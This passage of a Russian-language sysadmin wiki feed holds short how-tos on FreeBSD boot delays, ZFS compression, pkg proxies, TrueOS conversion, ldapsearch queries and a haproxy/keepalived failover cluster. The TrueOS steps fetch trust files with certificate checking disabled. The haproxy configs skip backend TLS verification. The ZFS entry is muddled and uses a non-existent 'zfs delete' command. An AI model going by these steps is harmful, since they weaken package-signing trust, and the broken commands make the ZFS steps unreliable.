&lt;pre class=&quot;code&quot;&gt;kern.cam.boot_delay=&amp;quot;10000&amp;quot;
kern.cam.scsi_delay=&amp;quot;3000&amp;quot;&lt;/pre&gt;

&lt;p&gt;
При увеличении &lt;strong&gt;kern.cam.scsi_delay&lt;/strong&gt; до 10000 - не работает.
&lt;/p&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_optimize_zfs_for_higher_capacity</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_optimize_zfs_for_higher_capacity</link>
            <description>
&lt;p&gt;
Включаем компрессию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zfs set compression=on zroot&lt;/pre&gt;

&lt;p&gt;
Включаем дедупликацию:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zfs set dedup=on zroot&lt;/pre&gt;

&lt;p&gt;
Создаем новый пул, в котором существующие файлы будут сжаты:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;dd if=/dev/zero of=/mnt/zroot-comp
service zfs-fuse restart&lt;/pre&gt;

&lt;p&gt;
Сжимаем существующие файлы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;zfs set compression=on tank/fs&lt;/pre&gt;

&lt;p&gt;
Send a snapshot to a temporary name
&lt;/p&gt;

&lt;p&gt;
zfs snapshot tank/f…@1
zfs send -R tank/f…@1 | zfs recv -vFd tank/fs-recompressed
&lt;/p&gt;

&lt;p&gt;
Mark the original as readonly and send anything newly written
since the &amp;#039;zfs send&amp;#039; above started.
&lt;/p&gt;

&lt;p&gt;
zfs set readonly=on tank/fs
zfs snapshot tank/f…@2
zfs send -i tank/f…@1 tank/f…@2 | zfs recv -v tank/fs-recompressed
&lt;/p&gt;

&lt;p&gt;
Now delete the original and rename the newone into its place.
&lt;/p&gt;

&lt;p&gt;
zfs delete tank/fs
zfs rename tank/fs-recompressed tank/fs
&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_pkg_proxy</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_pkg_proxy</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;cshrc&quot;&gt;~/.cshrc&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;setenv http_proxy _IP_ADDRESS_:_port_
setenv https_proxy _IP_ADDRESS_:_port_
setenv ftp_proxy _IP_ADDRESS_:_port_&lt;/pre&gt;

&lt;p&gt;
Или 
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;~\/.cshrc&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;cshrc&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-153&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;etcpkgpkgconf&quot;&gt;/etc/pkg/pkg.conf&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;pkg_env : {
http_proxy: &amp;quot;http://bla/&amp;quot;
}&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/pkg\/pkg.conf&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcpkgpkgconf&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;154-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>freebsd_to_trueos</title>
            <link>https://wiki.autosys.tk/linux_faq/freebsd_to_trueos</link>
            <description>&lt;pre class=&quot;code&quot;&gt;pkg&lt;/pre&gt;

&lt;p&gt;
Нажимаем y чтобы установить &lt;strong&gt;pkg&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pkg upgrade
pkg install nano wget&lt;/pre&gt;

&lt;p&gt;
Отключаем репозитории FreeBSD:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mv /etc/pkg/FreeBSD.conf /root/FreeBSD.conf-old&lt;/pre&gt;

&lt;p&gt;
Создаем файлик репозитория &lt;strong&gt;TrueOS&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir -p /usr/local/etc/pkg/repos
nano /usr/local/etc/pkg/repos/pcbsd.conf&lt;/pre&gt;

&lt;p&gt;
Пишем туда такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pcbsd: {
       url: &amp;quot;http://pkg.cdn.pcbsd.org/11.0-CURRENTJULY2016/amd64/&amp;quot;,
       signature_type: &amp;quot;fingerprints&amp;quot;,
       fingerprints: &amp;quot;/usr/local/etc/pkg/fingerprints/pcbsd&amp;quot;,
       enabled: true
      }&lt;/pre&gt;

&lt;p&gt;
Затем создаем директории:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;mkdir -p /usr/local/etc/pkg/fingerprints/pcbsd/revoked
mkdir -p /usr/local/etc/pkg/fingerprints/pcbsd/trusted&lt;/pre&gt;

&lt;p&gt;
И скачиваем файл &lt;strong&gt;fingerprint&lt;/strong&gt; и кладем его куда надо:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget --no-check-certificate https://github.com/pcbsd/pcbsd-build/raw/master/pcbsd/pkg-dist/fingerprints/pcbsd/trusted/pkg.cdn.pcbsd.org.20131209
mv pkg.cdn.pcbsd.org.20131209 /usr/local/etc/pkg/fingerprints/pcbsd/trusted/

pkg upgrade -fy
fetch --no-verify-peer -o /etc/freebsd-update.conf &amp;#039;https://github.com/pcbsd/freebsd/raw/master/etc/freebsd-update.conf&amp;#039;



freebsd-update fetch
freebsd-update install
pkg install -fy pcbsd-base
rehash
pbreg set /PC-BSD/SysType PCBSD
pc-extractoverlay ports
pc-extractoverlay desktop

дальше перезагружаемся. Если нужно при первой загрузке настроить парметры, то перед перезагрузкой выполняем:
touch /var/.runxsetup
touch /var/.pcbsd-firstboot
touch /var/.pcbsd-firstgui&lt;/pre&gt;
&lt;pre class=&quot;code&quot;&gt;reboot&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>get_ad_users_with_ldapsearch</title>
            <link>https://wiki.autosys.tk/linux_faq/get_ad_users_with_ldapsearch</link>
            <description>
&lt;p&gt;
&lt;a href=&quot;http://techadminblog.com/ldapsearch-command-examples-with-advanced-options/&quot; class=&quot;urlextern&quot; title=&quot;http://techadminblog.com/ldapsearch-command-examples-with-advanced-options/&quot; rel=&quot;ugc nofollow&quot;&gt;http://techadminblog.com/ldapsearch-command-examples-with-advanced-options/&lt;/a&gt;
&lt;/p&gt;

&lt;h1 class=&quot;sectionedit1&quot; id=&quot;информация_об_учетной_записи&quot;&gt;Информация об учетной записи&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Получить всю информацию об учетке &lt;strong&gt;ldap&lt;/strong&gt; с помощью &lt;strong&gt;ldapsearch&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ldapsearch -H ldap://domail.local  -b dc=domain,dc=local  &amp;#039;(&amp;amp;(objectclass=user)(samaccountname=username))&amp;#039;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043e\u0431 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f_\u043e\u0431_\u0443\u0447\u0435\u0442\u043d\u043e\u0439_\u0437\u0430\u043f\u0438\u0441\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;77-358&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;залочена_учетка_или_нет&quot;&gt;Залочена учетка или нет&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Проверить не залочена ли учетка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ldapsearch -H ldap://domail.local  -b dc=domain,dc=local  &amp;#039;(&amp;amp;(objectclass=user)(samaccountname=username))&amp;#039; pwdchangedtime  pwdaccountlockedtime&lt;/pre&gt;

&lt;p&gt;
Если команда не возвращает значение аттрибута &lt;strong&gt;pwdaccountlockedtime&lt;/strong&gt;, значит учетка НЕ залочена.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u043b\u043e\u0447\u0435\u043d\u0430 \u0443\u0447\u0435\u0442\u043a\u0430 \u0438\u043b\u0438 \u043d\u0435\u0442&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u043b\u043e\u0447\u0435\u043d\u0430_\u0443\u0447\u0435\u0442\u043a\u0430_\u0438\u043b\u0438_\u043d\u0435\u0442&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;359-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 20 Oct 2020 10:06:03 +0000</pubDate>
        </item>
        <item>
            <title>groups_list_of_the_running_process</title>
            <link>https://wiki.autosys.tk/linux_faq/groups_list_of_the_running_process</link>
            <description>
&lt;p&gt;
Если нужно посмотреть список групп, привилегиями которых обладает запущенной процесс, то нужно найти ID процесса и выполнить команду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;grep &amp;#039;^Groups&amp;#039; /proc/$$/status&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Fri, 15 Jan 2021 06:30:41 +0000</pubDate>
        </item>
        <item>
            <title>haproxy_high_availability_cluster</title>
            <link>https://wiki.autosys.tk/linux_faq/haproxy_high_availability_cluster</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В двух датацентрах хостятся одинаковые web-сервисы (&lt;strong&gt;Microsoft Exchange 2016&lt;/strong&gt;) на нескольких серверах (в ДЦ каждом по два сервера). &lt;br/&gt;

Запросы к web-сервисам могут приходить как от процессов в одном из датацентров (пользователи VDI), так и из внешнего интернета. &lt;br/&gt;

Датацентры неравноправны. Один из них - основной (постоянно обслуживает основную массу запросов), второй - резервный (постоянно обслуживает меньшую часть запросов). &lt;br/&gt;

Зачача - настроить отказоустойчивый опенсорсный балансировщик, который бы мог бы пережить следующие дизастеры:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 падение одного или нескольких бекенд-серверов.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 падение одной из нод балансировщика (либо падение процесса балансировщика).
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 нарушение связи между датацентрами.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1293&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Функционал &lt;strong&gt;high reliability&lt;/strong&gt; реализуется с помощью демона, реализующего протокол &lt;strong&gt;VRRP&lt;/strong&gt;, например - &lt;strong&gt;keepalived&lt;/strong&gt;. Демон следит за состоянием нод кластера и если активная нода выходит из строя, то переключает нагрузку (передает IP-адрес) на запасную (пассивную) ноду.&lt;br/&gt;

Кроме &lt;strong&gt;keepalived&lt;/strong&gt; можно использовать &lt;strong&gt;heartbeat&lt;/strong&gt;. &lt;br/&gt;

&lt;strong&gt;keepalived&lt;/strong&gt; попроще, а &lt;strong&gt;heartbeat&lt;/strong&gt; пофункциональнее и имеет несколько иное назначение.&lt;br/&gt;

&lt;br/&gt;

Будем настраивать &lt;strong&gt;active-passive&lt;/strong&gt; связку из двух &lt;strong&gt;haproxy + keeapalived&lt;/strong&gt;. &lt;br/&gt;

На каждой ноде будет практически однаково настроен &lt;strong&gt;haproxy&lt;/strong&gt;. В конфигурациях backend-серверов будут прописаны серверы, находящиеся в одном датацентре с нодой балансировщика. &lt;br/&gt;

В конфигурации &lt;strong&gt;keepalived&lt;/strong&gt; на каждой ноде балансировщика будет прописан скрипт, проверяющий состояние процесса &lt;strong&gt;haproxy&lt;/strong&gt; и состояние сервиса. Нода балансировщика может считаться здоровой, если жив процесс &lt;strong&gt;haproxy&lt;/strong&gt; и сервис доступен через балансировщик.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1294-2890&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;настройка_haproxy&quot;&gt;Настройка haproxy&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;haproxy&lt;/strong&gt; - балансировщик. Осуществляет проверку состояния &lt;strong&gt;backend&lt;/strong&gt;-серверов, балансирует нагрузку на них (в соответствии с кинфигурацией) и предоставляет к ним доступ через &lt;strong&gt;frontend&lt;/strong&gt;. &lt;br/&gt;

Установка:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get -y install haproxy&lt;/pre&gt;

&lt;p&gt;
Вот пример настройки &lt;strong&gt;haproxy&lt;/strong&gt; (&lt;strong&gt;/etc/haproxy/haproxy.cfg&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;global
        log /dev/log    local0
        log /dev/log    local1 notice
        chroot /var/lib/haproxy
        stats socket /run/haproxy/admin.sock mode 660 level admin expose-fd listeners
        stats timeout 30s
        user haproxy
        group haproxy
        daemon

    ######## Default values for all entries till next defaults section
    defaults
      option  dontlognull             # Do not log connections with no requests
      option  redispatch              # Try another server in case of connection failure
      option  contstats               # Enable continuous traffic statistics updates
      option  logasap
      retries 3                       # Try to connect up to 3 times in case of failure
      timeout connect 5s              # 5 seconds max to connect or to stay in queue
      timeout http-keep-alive 1s      # 1 second max for the client to post next request
      timeout http-request 15s        # 15 seconds max for the client to send a request
      timeout queue 30s               # 30 seconds max queued on load balancer
      timeout tarpit 1m               # tarpit hold tim
      backlog 10000                   # Size of SYN backlog queue
      mode tcp                                #alctl: protocol analyser
      option tcplog                           #alctl: log format
      log global                              #alctl: log activation
      timeout client 300s                     #alctl: client inactivity timeout
      timeout server 300s                     #alctl: server inactivity timeout
      default-server inter 3s rise 2 fall 3   #alctl: default check parameters

    frontend ft_exchange_tcp
      bind *:443 name https          #alctl: listener https configuration.
      maxconn 100000                         #alctl: connection max (depends on capacity)
      default_backend exchange_2016_backend       #alctl: default farm to use

    backend exchange_2016_backend
        balance roundrobin
        # maximum SSL session ID length is 32 bytes.
        stick-table type binary len 32 size 30k expire 10s
        acl clienthello req_ssl_hello_type 1
        acl serverhello rep_ssl_hello_type 2
        # use tcp content accepts to detects ssl client and server hello.
        tcp-request inspect-delay 5s
        tcp-request content accept if clienthello
        # no timeout on response inspect delay by default.
        tcp-response content accept if serverhello
        # SSL session ID (SSLID) may be present on a client or server hello.
        # Its length is coded on 1 byte at offset 43 and its value starts
        # at offset 44.

        # Match and learn on request if client hello.
        stick on payload_lv(43,1) if clienthello
        # Learn on response if server hello.
        stick store-response payload_lv(43,1) if serverhello

        fullconn 100000

        option httpchk GET /ews/healthcheck.htm &amp;quot;HTTP/1.0\r\nHost: exch2016.domain.com&amp;quot;

        server exch_server1 exch1.domain.com:443 maxconn 100000 check check-ssl verify none
        server exch_server2 exch2.domain.com:443 maxconn 100000 check check-ssl verify none

        email-alert mailers mta
        email-alert level info
        email-alert from haproxy-alert@domain.com
        email-alert to admin@domain.com

    mailers mta
        mailer smtp1 smtp.domain.com:25

    frontend stats
        bind *:8080
        mode http
        stats enable
#       stats auth admin:adminpassword
        stats uri /&lt;/pre&gt;

&lt;p&gt;
Тут настраивается единственный &lt;strong&gt;frontend&lt;/strong&gt; для единственного &lt;strong&gt;backend&lt;/strong&gt; в режиме &lt;strong&gt;tcp&lt;/strong&gt;. &lt;br/&gt;

Балансировка - round-robin. &lt;br/&gt;

Прописан &lt;strong&gt;session sticking&lt;/strong&gt;, чтобы клиент не прыгал по серверам в пределах одной сессии. &lt;br/&gt;

Проверка состояния backend-серверов осуществляется с помощью запроса:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;option httpchk GET /ews/healthcheck.htm &amp;quot;HTTP/1.0\r\nHost: exch2016.domain.com&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Если ответ &lt;strong&gt;200&lt;/strong&gt;, то backend-сервер считается живым. &lt;br/&gt;

&lt;br/&gt;

Для второй ноды конфигурация такая же, но список backend-серверов другой:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;        server exch_server3 exch3.domain.com:443 maxconn 100000 check check-ssl verify none
        server exch_server4 exch4.domain.com:443 maxconn 100000 check check-ssl verify none&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 haproxy&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_haproxy&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2891-7871&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;настройка_keepalived&quot;&gt;Настройка keepalived&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;strong&gt;keepalived&lt;/strong&gt; следит за состоянием нод в пределах &lt;strong&gt;виртуального роутера&lt;/strong&gt; (нод &lt;strong&gt;keepalive&lt;/strong&gt; с одинаковым параметром &lt;strong&gt;virtual_router_id&lt;/strong&gt;) и с заданным интервалом вычисляет &lt;strong&gt;приоритет&lt;/strong&gt; (priority) ноды (в зависимости от результатов выполнения скрипта). Если &lt;strong&gt;приоритет&lt;/strong&gt; ноды меняется  - происходят &lt;strong&gt;выборы&lt;/strong&gt; новой &lt;strong&gt;master&lt;/strong&gt;-ноды. Если &lt;strong&gt;backup&lt;/strong&gt;-нода обнаруживает недоступность &lt;strong&gt;master&lt;/strong&gt;-ноды - она становится &lt;strong&gt;master&lt;/strong&gt;-нодой.&lt;br/&gt;

Установка &lt;strong&gt;keepalived&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get update &amp;amp;&amp;amp; sudo apt-get install keepalived&lt;/pre&gt;

&lt;p&gt;
&lt;br/&gt;

Вот конфигурация основной (&lt;strong&gt;master&lt;/strong&gt;) ноды (&lt;strong&gt;/etc/keepalived/keepalived.conf&lt;/strong&gt;):
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;global_defs {
   notification_email {
        admin@domain.com
   }
   notification_email_from haproxy-alert@domain.com
   smtp_server smtp.domain.com:25
   smtp_connect_timeout 30
}

vrrp_script chk_haproxy {
  script &amp;quot;/usr/bin/killall -0 haproxy &amp;amp;&amp;amp; /usr/bin/curl -k &amp;#039;https://localhost/ews/healthcheck.htm&amp;#039;&amp;quot;
  interval 2
  weight 2
}

vrrp_instance VI_1 {
    state MASTER
    interface ens160
    virtual_router_id 101
    priority 101
    advert_int 1
    smtp_alert
    authentication {
        auth_type PASS
        auth_pass superpassword
    }
    virtual_ipaddress {
        172.30.129.131
    }
    track_script {
      chk_haproxy
    }
}&lt;/pre&gt;

&lt;p&gt;
Тут прописаны секции:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;global_defs&lt;/strong&gt; - глобальные параметры, в частности - параметры оповещения.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;vrrp_script chk_haproxy&lt;/strong&gt; - сценарий проверки сосотяния &lt;strong&gt;haproxy&lt;/strong&gt; - проверка наличия процесса &lt;strong&gt;haproxy&lt;/strong&gt; и проверка доступности сервиса через &lt;strong&gt;haproxy&lt;/strong&gt;, а также - интервал проверки и её вес (количество поинтов, которые прибавляются к приоритету, в случае успешной проверки).
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 &lt;strong&gt;vrrp_instance VI_1&lt;/strong&gt; - описание инстанса &lt;strong&gt;VRRP&lt;/strong&gt;. В этой секции некоторые параметры имеют различные значения на &lt;strong&gt;master&lt;/strong&gt; и &lt;strong&gt;slave&lt;/strong&gt; нодах): &lt;strong&gt;interface&lt;/strong&gt; - имя сетевого интерфейса, на котором работает виртуальный IP, &lt;strong&gt;priority&lt;/strong&gt; - приоритет ноды (нода с максимальным приоритетом забирает себе виртуальный IP). Параметры &lt;strong&gt;virtual_router_id&lt;/strong&gt; (идентификатор виртуального роутера) и секция &lt;strong&gt;authentication&lt;/strong&gt; должны быть одинаковыми на обоих нодах.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
&lt;br/&gt;

Вот конфигурация резервной (slave) ноды:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;global_defs {
   notification_email {
        admin@domain.com
   }
   notification_email_from haproxy-alert@domain.com
   smtp_server smtp.domain.com:25
   smtp_connect_timeout 30
}

vrrp_script chk_haproxy {
  script &amp;quot;/usr/bin/killall -0 haproxy &amp;amp;&amp;amp; /usr/bin/curl -k &amp;#039;https://localhost/ews/healthcheck.htm&amp;#039;&amp;quot;
  interval 2
  weight 2
}

vrrp_instance VI_1 {
    state MASTER
    interface ens192
    virtual_router_id 101
    priority 100
    advert_int 1
    smtp_alert
    authentication {
        auth_type PASS
        auth_pass superpassword
    }
    virtual_ipaddress {
        172.30.129.131
    }
    track_script {
      chk_haproxy
    }
}
&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430 keepalived&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430_keepalived&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;7872-11583&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;подключение_клиентов&quot;&gt;Подключение клиентов&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Для подключения клиентов:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Для внутренних клиентов мы создаем запись в &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;, которая указывает на виртуальный IP, а клиенты подключаются к сервису по &lt;abbr title=&quot;Domain Name System&quot;&gt;DNS&lt;/abbr&gt;-имени.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Для внешних клиентов делаем port-mapping с внешнего IP на внутренний виртуальный IP.
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;11584-12067&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit6&quot; id=&quot;ссылки&quot;&gt;Ссылки&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.digitalocean.com/community/tutorials/how-to-set-up-highly-available-haproxy-servers-with-keepalived-and-floating-ips-on-ubuntu-14-04&quot; class=&quot;urlextern&quot; title=&quot;https://www.digitalocean.com/community/tutorials/how-to-set-up-highly-available-haproxy-servers-with-keepalived-and-floating-ips-on-ubuntu-14-04&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.digitalocean.com/community/tutorials/how-to-set-up-highly-available-haproxy-servers-with-keepalived-and-floating-ips-on-ubuntu-14-04&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/load_balancer_administration/ch-initial-setup-vsa&quot; class=&quot;urlextern&quot; title=&quot;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/load_balancer_administration/ch-initial-setup-vsa&quot; rel=&quot;ugc nofollow&quot;&gt;https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/load_balancer_administration/ch-initial-setup-vsa&lt;/a&gt; &lt;br/&gt;

&lt;a href=&quot;https://tecadmin.net/setup-ip-failover-on-ubuntu-with-keepalived/&quot; class=&quot;urlextern&quot; title=&quot;https://tecadmin.net/setup-ip-failover-on-ubuntu-with-keepalived/&quot; rel=&quot;ugc nofollow&quot;&gt;https://tecadmin.net/setup-ip-failover-on-ubuntu-with-keepalived/&lt;/a&gt; &lt;br/&gt;

&lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0421\u0441\u044b\u043b\u043a\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0441\u0441\u044b\u043b\u043a\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:4,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;12068-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Tue, 28 May 2019 11:10:56 +0000</pubDate>
        </item>
        <item>
            <title>haproxy_how_to_concatenate_intermidiate_certs_chain</title>
            <link>https://wiki.autosys.tk/linux_faq/haproxy_how_to_concatenate_intermidiate_certs_chain</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;как_правильно_составить_цепочку_промежуточных_сертификатов_для_haproxy&quot;&gt;Как правильно составить цепочку промежуточных сертификатов для haproxy&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.meshcloud.io/2017/04/18/pem-file-layout-for-haproxy/&quot; class=&quot;urlextern&quot; title=&quot;https://www.meshcloud.io/2017/04/18/pem-file-layout-for-haproxy/&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.meshcloud.io/2017/04/18/pem-file-layout-for-haproxy/&lt;/a&gt; &lt;br/&gt;

До версий &lt;strong&gt;Haproxy v. 2.2&lt;/strong&gt; цепочку промежуточных сертификатов нужно было составлять вручную и прикреплять к файлу с сертификатом и ключем. &lt;br/&gt;

